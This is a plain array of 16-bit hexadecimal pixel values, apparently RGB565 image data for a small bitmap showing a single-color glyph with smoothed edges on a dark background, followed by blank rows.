0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x0802,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x1023,0x0000,0x0000,0x0000,0x308C,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x1024,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x40B0,0x388E,0x58F5,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2068,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x1024,0x0000,0x0000,0x0823,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x50D2,0x48B1,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813E,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x793B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x40B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793D,0x40AF,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x50D3,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x40AF,0x7119,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x713B,0x50D2,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x40AF,0x58F5,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x6918,0x60F6,0x48D2,0x286A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x1846,0x286A,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x306B,0x286A,0x2047,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 